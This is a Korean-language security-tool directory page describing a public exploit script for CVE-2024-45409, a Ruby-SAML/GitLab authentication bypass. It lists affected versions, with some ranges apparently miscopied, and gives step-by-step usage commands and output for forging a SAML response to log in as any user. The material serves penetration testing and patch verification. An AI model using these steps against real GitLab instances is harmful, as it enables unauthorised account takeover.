Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-45409 — Ruby-SAML / GitLab 인증 우회 (CVE-2024-45409) 익스플로잇 | Kitploit
도구/GitHubGitHub/synacktiv/cve-2024-45409
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubsynacktiv/cve-2024-45409

CVE-2024-45409

Ruby-SAML / GitLab 인증 우회 (CVE-2024-45409) 익스플로잇

저장소 보기
84131년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Ruby-SAML / GitLab 인증 우회 (CVE-2024-45409) 익스플로잇

이 스크립트는 CVE-2024-45409를 익스플로잇합니다. 이 취약점은 IDP가 발급한 서명된 SAML 문서에 접근할 수 있는 인증되지 않은 공격자가 SAML 응답/어설션을 위조하여 GitLab의 모든 사용자로 액세스할 수 있게 합니다.

다음 GitLab (CE/EE) 버전은 모두 취약합니다:

  • < 16.11.10
  • 17.0.0 < 17.0.8
  • 17.0.0 < 17.1.8
  • 17.0.0 < 17.2.7
  • 17.0.0 < 17.3.3

이 익스플로잇은 수정된 어설션의 DigestValue를 StatusDetail 요소에 주입하여, SignedInfo 블록의 값 대신 이 값을 사용하는 XPath 선택기를 밀반입할 수 있게 합니다.

요구 사항

  • IDP가 발급한 유효한 SAML 응답

사용법

root@kitploit:~
apt install python3-lxml

먼저 URL과 Base64로 인코딩된 IDP SAML 응답을 가로챈 후, 스크립트를 사용하여 XML 콘텐츠를 수정합니다.

root@kitploit:~
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]

SAMLResponse=PHNhbWxwOlJlc3Bv[...]
root@kitploit:~
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
	Digest algorithm: sha256
	Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64

그런 다음 SAMLResponse 매개변수 값을 스크립트 출력으로 바꿉니다. 인증에 성공하면 GitLab 홈페이지로 리디렉션됩니다.

root@kitploit:~
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]

<html><body>You are being <a href="http://gitlab.test.local/">redirected</a>.</body></html>

참고 자료

  • https://about.gitlab.com/releases/2024/09/17/patch-release-gitlab-17-3-3-released/
  • https://github.com/advisories/GHSA-jw9c-mfg7-9rx2
  • https://blog.projectdiscovery.io/ruby-saml-gitlab-auth-bypass/
  • https://nvd.nist.gov/vuln/detail/CVE-2024-45409
  • https://www.cvedetails.com/cve/CVE-2024-45409/
도구 다운로드